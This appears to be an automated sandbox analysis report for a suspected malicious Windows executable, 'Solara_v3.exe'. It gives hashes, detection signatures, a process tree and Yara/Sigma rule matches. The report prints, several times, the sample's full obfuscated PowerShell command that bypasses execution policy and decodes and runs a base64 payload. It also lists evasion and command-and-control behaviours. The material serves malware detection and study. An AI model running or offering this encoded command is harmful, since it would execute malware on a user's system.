Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Solara_v3.exe

Overview

General Information

Sample name:Solara_v3.exe
Analysis ID:1585428
MD5:404f9a9a90f2729d0acba7e76527fb88
SHA1:441a37963638e3f4635ef8c5fa35fd8fa566e325
SHA256:96559ba94a96b7a3ab66125a3556c6a8ec07fe561f8d60bd06f66520e3366c5e
Tags:exeuser-aachum
Infos:

Detection

Score:76
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious sample detected (through community Yara rule)
Yara detected Powershell decode and execute
Bypasses PowerShell execution policy
Connects to a pastebin service (likely for C&C)
Encrypted powershell cmdline option found
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Suspicious Execution of Powershell with Base64
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match

Classification

Process Tree

  • System is w10x64
  • Solara_v3.exe (PID: 4836 cmdline: "C:\Users\user\Desktop\Solara_v3.exe" MD5: 404F9A9A90F2729D0ACBA7E76527FB88)
    • conhost.exe (PID: 5832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 652 cmdline: "powershell" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAUQAwAEsASQBDAEEAZwBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGwATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAEoARwBoAFgAYgBtAFEAcwBJAEQAQQBwAEQAUQBwADkARABRAG8AawBZADMAVgB5AGMAbQBWAHUAZABGAGQAcABiAG0AUgB2AGQAMQBSAHAAZABHAHgAbABJAEQAMABnAFIAMgBWADAAUQBXAE4AMABhAFgAWgBsAFYAMgBsAHUAWgBHADkAMwBWAEcAbAAwAGIARwBVAE4AQwBrAGgAcABaAEcAVgBCAFkAMwBSAHAAZABtAFYAWABhAFcANQBrAGIAMwBjAE4AQwBnAD0APQAiAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuACkALgBTAGMAcgBpAHAAdAApACkAIAB8ACAAaQBlAHgA MD5: 04029E121A0CFA5991749937DD22A1D9)
      • csc.exe (PID: 7192 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)
        • cvtres.exe (PID: 7208 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES37CB.tmp" "c:\Users\user\AppData\Local\Temp\qe2pugvo\CSC164F6F5C146F445CBD8C979E31D12C49.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)
    • attrib.exe (PID: 7304 cmdline: "attrib" +h C:\WindowsSystem MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
Process Memory Space: powershell.exe PID: 652INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXECDetects PowerShell scripts containing patterns of base64 encoded files, concatenation and executionditekSHen
  • 0x881f6:$b2: ::FromBase64String(
  • 0x881d5:$b3: ::UTF8.GetString(
  • 0x2a344:$s1: -join
  • 0x37419:$s1: -join
  • 0x3a7eb:$s1: -join
  • 0x3ae9d:$s1: -join
  • 0x3c98e:$s1: -join
  • 0x3eb94:$s1: -join
  • 0x3f3bb:$s1: -join
  • 0x3fc2b:$s1: -join
  • 0x40366:$s1: -join
  • 0x40398:$s1: -join
  • 0x403e0:$s1: -join
  • 0x403ff:$s1: -join
  • 0x40c4f:$s1: -join
  • 0x40dcb:$s1: -join
  • 0x40e43:$s1: -join
  • 0x40ed6:$s1: -join
  • 0x4113c:$s1: -join
  • 0x432d2:$s1: -join
  • 0x51d1c:$s1: -join

Other

SourceRuleDescriptionAuthorStrings
amsi64_652.amsi.csvJoeSecurity_PowershellDecodeAndExecuteYara detected Powershell decode and executeJoe Security

    Sigma Signatures

    System Summary

    barindex
    Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "powershell" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAUQAwAEsASQBDAEEAZ
    Sigma detected: Change PowerShell Policies to an Insecure Level
    Source: Process startedAuthor: frack113: Data: Command: "powershell" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAUQAwAEsASQBDAEEAZ
    Sigma detected: Dynamic .NET Compilation Via Csc.EXE
    Source: Process startedAuthor: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "powershell" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZA
    Sigma detected: Suspicious Execution of Powershell with Base64
    Source: Process startedAuthor: frack113: Data: Command: "powershell" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBA